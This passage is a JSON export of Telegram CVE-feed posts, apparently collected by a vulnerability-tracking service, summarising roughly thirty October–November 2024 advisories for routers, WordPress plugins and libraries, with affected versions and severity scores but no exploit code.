p.m. | 38\u00a0minutes ago \nDescription : Tenda G3 v3.0 v15.11.0.20 was discovered to contain a command injection vulnerability via the formSetDebugCfg function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-13T17:13:32.000000Z"}, {"uuid": "b44cf131-a450-4ab3-a51c-a1be5fd8778d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50852", "type": "seen", "source": "https://t.me/cvedetector/10823", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50852 - Tenda Router Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50852 \nPublished : Nov. 13, 2024, 3:15 p.m. | 38\u00a0minutes ago \nDescription : Tenda G3 v3.0 v15.11.0.20 was discovered to contain a command injection vulnerability via the formSetUSBPartitionUmount function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-13T17:13:31.000000Z"}, {"uuid": "8f67e4b1-1ce8-44f5-a1af-906588db62f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50525", "type": "seen", "source": "https://t.me/cvedetector/9748", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50525 - Helloprint Plug WooCommerce Unrestricted Upload of File with Dangerous Type Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50525 \nPublished : Nov. 4, 2024, 2:15 p.m. | 36\u00a0minutes ago \nDescription : Unrestricted Upload of File with Dangerous Type vulnerability in Helloprint Plug your WooCommerce into the largest catalog of customized print products from Helloprint allows Upload a Web Shell to a Web Server.This issue affects Plug your WooCommerce into the largest catalog of customized print products from Helloprint: from n/a through 2.0.2. \nSeverity: 10.0 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-04T16:06:56.000000Z"}, {"uuid": "2a0a223e-9317-4f80-b949-d37c8fe22780", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50346", "type": "seen", "source": "https://t.me/cvedetector/9803", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50346 - WebFeed CSRF and UI Spoofing Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50346 \nPublished : Nov. 5, 2024, 12:15 a.m. | 37\u00a0minutes ago \nDescription : WebFeed is a lightweight web feed reader extension for Firefox/Chrome. Multiple HTML injection vulnerabilities in WebFeed can lead to CSRF and UI spoofing attacks. A remote attacker can provide malicious RSS feeds and attract the victim user to visit it using WebFeed. The attacker can then inject malicious HTML into the extension page and fool the victim into sending out HTTP requests to arbitrary sites with the victim's credentials. Users are vulnerable to CSRF attacks when visiting malicious RSS feeds via WebFeed. Unwanted actions could be executed on the user's behalf on arbitrary websites. This issue has been addressed in release version 0.9.2. All users are advised to upgrade. There are no known workarounds for this vulnerability. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-05T02:09:20.000000Z"}, {"uuid": "825c95f3-3486-4683-ac56-452a1ebd6e83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50527", "type": "seen", "source": "https://t.me/cvedetector/9745", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50527 - Stacks Mobile App Builder Unrestricted File Upload RCE\", \n  \"Content\": \"CVE ID : CVE-2024-50527 \nPublished : Nov. 4, 2024, 2:15 p.m. | 36\u00a0minutes ago \nDescription : Unrestricted Upload of File with Dangerous Type vulnerability in Stacks Stacks Mobile App Builder allows Upload a Web Shell to a Web Server.This issue affects Stacks Mobile App Builder: from n/a through 5.2.3. \nSeverity: 10.0 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-04T16:06:51.000000Z"}, {"uuid": "f0d58970-f908-496d-a113-52f2f00a6596", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50526", "type": "seen", "source": "https://t.me/cvedetector/9744", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50526 - Mahlamusa Multi Purpose Mail Form Arbitrary File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50526 \nPublished : Nov. 4, 2024, 2:15 p.m. | 36\u00a0minutes ago \nDescription : Unrestricted Upload of File with Dangerous Type vulnerability in mahlamusa Multi Purpose Mail Form allows Upload a Web Shell to a Web Server.This issue affects Multi Purpose Mail Form: from n/a through 1.0.2. \nSeverity: 10.0 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-04T16:06:50.000000Z"}, {"uuid": "96cde89b-ef27-42b2-aaf6-cb939994c4db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50530", "type": "seen", "source": "https://t.me/cvedetector/9743", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50530 - Myriad Solutionz Stars SMTP Mailer Unrestricted File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50530 \nPublished : Nov. 4, 2024, 2:15 p.m. | 36\u00a0minutes ago \nDescription : Unrestricted Upload of File with Dangerous Type vulnerability in Myriad Solutionz Stars SMTP Mailer allows Upload a Web Shell to a Web Server.This issue affects Stars SMTP Mailer: from n/a through 1.7. \nSeverity: 9.9 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-04T16:06:50.000000Z"}, {"uuid": "6adcf61a-5b77-436c-966f-6bd681b50ca1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50529", "type": "seen", "source": "https://t.me/cvedetector/9742", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50529 - Rudra Innnovative Software Training \u2013 Courses RCE vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50529 \nPublished : Nov. 4, 2024, 2:15 p.m. | 36\u00a0minutes ago \nDescription : Unrestricted Upload of File with Dangerous Type vulnerability in Rudra Innnovative Software Training \u2013 Courses allows Upload a Web Shell to a Web Server.This issue affects Training \u2013 Courses: from n/a through 2.0.1. \nSeverity: 9.9 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-04T16:06:49.000000Z"}, {"uuid": "169d501d-fc34-4e9b-bb7e-83b02c608261", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50528", "type": "seen", "source": "https://t.me/cvedetector/9741", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50528 - Stacks Mobile App Builder Information Disclosure Vuln\", \n  \"Content\": \"CVE ID : CVE-2024-50528 \nPublished : Nov. 4, 2024, 2:15 p.m. | 36\u00a0minutes ago \nDescription : Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in Stacks Stacks Mobile App Builder allows Retrieve Embedded Sensitive Data.This issue affects Stacks Mobile App Builder: from n/a through 5.2.3. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-04T16:06:45.000000Z"}, {"uuid": "ff5241c3-4259-4d63-b26d-8cff5bf4d21b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50531", "type": "seen", "source": "https://t.me/cvedetector/9734", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50531 - RSVPMaker for Toastmasters Unrestricted File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50531 \nPublished : Nov. 4, 2024, 2:15 p.m. | 36\u00a0minutes ago \nDescription : Unrestricted Upload of File with Dangerous Type vulnerability in David F. Carr RSVPMaker for Toastmasters allows Upload a Web Shell to a Web Server.This issue affects RSVPMaker for Toastmasters: from n/a through 6.2.4. \nSeverity: 10.0 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-04T16:06:37.000000Z"}, {"uuid": "33b4c9d7-b0d8-414e-97b8-bb6d220e9045", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50356", "type": "seen", "source": "https://t.me/cvedetector/9518", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50356 - \"Frappe Press Two-Factor Authentication Bypass Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-50356 \nPublished : Oct. 31, 2024, 6:15 p.m. | 46\u00a0minutes ago \nDescription : Press, a Frappe custom app that runs Frappe Cloud, manages infrastructure, subscription, marketplace, and software-as-a-service (SaaS). The password could be reset by anyone who have access to the mail inbox circumventing the 2FA. Even though they wouldn't be able to login by bypassing the 2FA. Only users who have enabled 2FA are affected. Commit ba0007c28ac814260f836849bc07d29beea7deb6 patches this bug. \nSeverity: 0.0 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-31T20:17:04.000000Z"}, {"uuid": "2e836dd8-4aa5-4273-8d87-2ae5af03fdf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50347", "type": "seen", "source": "https://t.me/cvedetector/9517", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50347 - Laravel Reverb Unauthenticated API Endpoint Exploit\", \n  \"Content\": \"CVE ID : CVE-2024-50347 \nPublished : Oct. 31, 2024, 6:15 p.m. | 46\u00a0minutes ago \nDescription : Laravel Reverb provides a real-time WebSocket communication backend for Laravel applications. Prior to 1.4.0, there is an issue where verification signatures for requests sent to Reverb's Pusher-compatible API were not being verified. This API is used in scenarios such as broadcasting a message from a backend service or for obtaining statistical information (such as number of connections) about a given channel. This issue only affects the Pusher-compatible API endpoints and not the WebSocket connections themselves. In order to exploit this vulnerability, the application ID which, should never be exposed, would need to be known by an attacker. This vulnerability is fixed in 1.4.0. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-31T20:17:03.000000Z"}, {"uuid": "14af61c8-4381-4192-90e9-1a34d6509c76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50801", "type": "seen", "source": "https://t.me/cvedetector/9522", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50801 - AbanteCart SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50801 \nPublished : Oct. 31, 2024, 7:15 p.m. | 36\u00a0minutes ago \nDescription : A SQL Injection vulnerability was discovered in AbanteCart 1.4.0 in the update() function in public_html/admin/controller/responses/listing_grid/collections.php. The vulnerability is exploitable via the id parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-31T21:07:16.000000Z"}, {"uuid": "b9f617d0-1516-4644-ac72-8ff92ba7789e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50456", "type": "seen", "source": "https://t.me/cvedetector/9358", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50456 - SEOPress Missing Authorization Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50456 \nPublished : Oct. 29, 2024, 9:15 p.m. | 42\u00a0minutes ago \nDescription : Missing Authorization vulnerability in The SEO Guys at SEOPress SEOPress allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects SEOPress: from n/a through 8.1.1. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T23:08:26.000000Z"}, {"uuid": "cb05517b-8d31-4959-99e2-69ea5437eb37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50512", "type": "seen", "source": "https://t.me/cvedetector/9406", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50512 - Posti Posti Shipping Sensitive Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-50512 \nPublished : Oct. 30, 2024, 8:15 a.m. | 37\u00a0minutes ago \nDescription : Generation of Error Message Containing Sensitive Information vulnerability in Posti Posti Shipping allows Retrieve Embedded Sensitive Data.This issue affects Posti Shipping: from n/a through 3.10.2. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-30T10:00:41.000000Z"}, {"uuid": "e321a611-d06d-4b20-af5f-6085079bb38f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50511", "type": "seen", "source": "https://t.me/cvedetector/9405", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50511 - David DONISA WP Dominimedia Carousel Unrestricted File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50511 \nPublished : Oct. 30, 2024, 8:15 a.m. | 37\u00a0minutes ago \nDescription : Unrestricted Upload of File with Dangerous Type vulnerability in David DONISA WP donimedia carousel allows Upload a Web Shell to a Web Server.This issue affects WP donimedia carousel: from n/a through 1.0.1. \nSeverity: 9.9 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-30T10:00:40.000000Z"}, {"uuid": "678e00d2-0a70-4b0a-afa8-3d115c168abf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50354", "type": "seen", "source": "https://t.me/cvedetector/9512", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50354 - Gnark Memory Allocation Error\", \n  \"Content\": \"CVE ID : CVE-2024-50354 \nPublished : Oct. 31, 2024, 4:15 p.m. | 24\u00a0minutes ago \nDescription : gnark is a fast zk-SNARK library that offers a high-level API to design circuits. In gnark 0.11.0 and earlier, deserialization of Groth16 verification keys allocate excessive memory, consuming a lot of resources and triggering a crash with the error fatal error: runtime: out of memory. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-31T17:46:47.000000Z"}, {"uuid": "a9530480-fa6c-4d18-91ee-216264b99824", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50419", "type": "seen", "source": "https://t.me/cvedetector/9438", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50419 - Wpsoul Greenshift Incorrect Authorization Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50419 \nPublished : Oct. 30, 2024, 3:15 p.m. | 19\u00a0minutes ago \nDescription : Incorrect Authorization vulnerability in Wpsoul Greenshift \u2013 animation and page builder blocks allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Greenshift \u2013 animation and page builder blocks: from n/a through 9.7. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-30T16:42:18.000000Z"}, {"uuid": "4ce19a22-9735-416f-bdbf-8d1d19ac8fdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50454", "type": "seen", "source": "https://t.me/cvedetector/9379", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50454 - SEOPress Missing Authorization Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50454 \nPublished : Oct. 29, 2024, 10:15 p.m. | 41\u00a0minutes ago \nDescription : Missing Authorization vulnerability in The SEO Guys at SEOPress SEOPress allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects SEOPress: from n/a through 8.1.1. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T23:59:04.000000Z"}, {"uuid": "e74f8614-2cae-4f7f-8ac3-e6ed17e65949", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50428", "type": "seen", "source": "https://t.me/cvedetector/9378", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50428 - \"Ardor Form Missing Authorization\"\", \n  \"Content\": \"CVE ID : CVE-2024-50428 \nPublished : Oct. 29, 2024, 10:15 p.m. | 41\u00a0minutes ago \nDescription : Missing Authorization vulnerability in Mondula GmbH Multi Step Form allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Multi Step Form: from n/a through 1.7.21. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-29T23:59:03.000000Z"}, {"uuid": "50725e3d-6d32-42c0-a89b-b66a4338f9eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50344", "type": "seen", "source": "https://t.me/cvedetector/9439", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50344 - I, Librarian Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-50344 \nPublished : Oct. 30, 2024, 4:15 p.m. | 38\u00a0minutes ago \nDescription : I, Librarian is an open-source version of a PDF managing SaaS. Supplemental Files are allowed to be viewed in the browser, only if they have a white-listed MIME type. Unfortunately, this logic is broken, thus allowing unsafe files containing Javascript to be executed with the application context. An attacker can exploit this vulnerability by uploading a supplementary file that contains a malicious code or script. This code will then be executed when the file is loaded in the browser. The vulnerability was fixed in version 5.11.2. \nSeverity: 4.6 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-30T18:22:34.000000Z"}, {"uuid": "fb92b6a4-64eb-4578-9c76-6dfc23c45dba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50510", "type": "seen", "source": "https://t.me/cvedetector/9404", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50510 - \"AR For Woocommerce RCE via Unrestricted File Upload\"\", \n  \"Content\": \"CVE ID : CVE-2024-50510 \nPublished : Oct. 30, 2024, 8:15 a.m. | 37\u00a0minutes ago \nDescription : Unrestricted Upload of File with Dangerous Type vulnerability in Web and Print Design AR For Woocommerce allows Upload a Web Shell to a Web Server.This issue affects AR For Woocommerce: from n/a through 6.2. \nSeverity: 10.0 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-30T10:00:39.000000Z"}, {"uuid": "22c490ef-abaf-41e8-b038-5a6cb4548912", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50353", "type": "seen", "source": "https://t.me/cvedetector/9427", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50353 - Azure Cloud Storage SAS Uri Duration Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50353 \nPublished : Oct. 30, 2024, 2:15 p.m. | 27\u00a0minutes ago \nDescription : ICG.AspNetCore.Utilities.CloudStorage is a collection of cloud storage utilities to assist with the management of files for cloud upload. Users of this library that set a duration for a SAS Uri with a value other than 1 hour may have generated a URL with a duration that is longer, or shorter than desired. Users not implemented SAS Uri's are unaffected. This issue was resolved in version 8.0.0 of the library. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-30T15:51:58.000000Z"}, {"uuid": "89463e5f-68c8-4653-b6e1-083d2c7a12df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50504", "type": "seen", "source": "https://t.me/cvedetector/9408", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50504 - Matt Whiteman Bulk Change Role Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50504 \nPublished : Oct. 30, 2024, 8:15 a.m. | 37\u00a0minutes ago \nDescription : Incorrect Privilege Assignment vulnerability in Matt Whiteman Bulk Change Role allows Privilege Escalation.This issue affects Bulk Change Role: from n/a through 1.1. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-30T10:00:42.000000Z"}, {"uuid": "fc5d63cf-69e1-4f8b-a315-684c242d9b41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50503", "type": "seen", "source": "https://t.me/cvedetector/9413", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50503 - Deryck O\u00f1ate User Toolkit Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-50503 \nPublished : Oct. 30, 2024, 8:15 a.m. | 37\u00a0minutes ago \nDescription : Authentication Bypass Using an Alternate Path or Channel vulnerability in Deryck O\u00f1ate User Toolkit allows Authentication Bypass.This issue affects User Toolkit: from n/a through 1.2.3. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-30T10:00:49.000000Z"}, {"uuid": "c4633ca6-d9d5-462e-8f3f-16709acc49ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50509", "type": "seen", "source": "https://t.me/cvedetector/9412", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50509 - Chetan Khandla Woocommerce Product Design Path Traversal\", \n  \"Content\": \"CVE ID : CVE-2024-50509 \nPublished : Oct. 30, 2024, 8:15 a.m. | 37\u00a0minutes ago \nDescription : Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Chetan Khandla Woocommerce Product Design allows Path Traversal.This issue affects Woocommerce Product Design: from n/a through 1.0.0. \nSeverity: 8.6 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-30T10:00:48.000000Z"}, {"uuid": "ef1869ac-2feb-4334-8447-678540882a1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50508", "type": "seen", "source": "https://t.me/cvedetector/9411", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50508 - \"Chetan Khandla Woocommerce Product Design Path Traversal\"\", \n  \"Content\": \"CVE ID : CVE-2024-50508 \nPublished : Oct. 30, 2024, 8:15 a.m. | 37\u00a0minutes ago \nDescription : Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Chetan Khandla Woocommerce Product Design allows Path Traversal.This issue affects Woocommerce Product Design: from n/a through 1.0.0. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-30T10:00:48.000000Z"}, {"uuid": "6cee0fa1-94d7-4553-822f-d5a381e94c3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50507", "type": "seen", "source": "https://t.me/cvedetector/9410", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50507 - DS.DownloadList Object Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50507 \nPublished : Oct. 30, 2024, 8:15 a.m. | 37\u00a0minutes ago 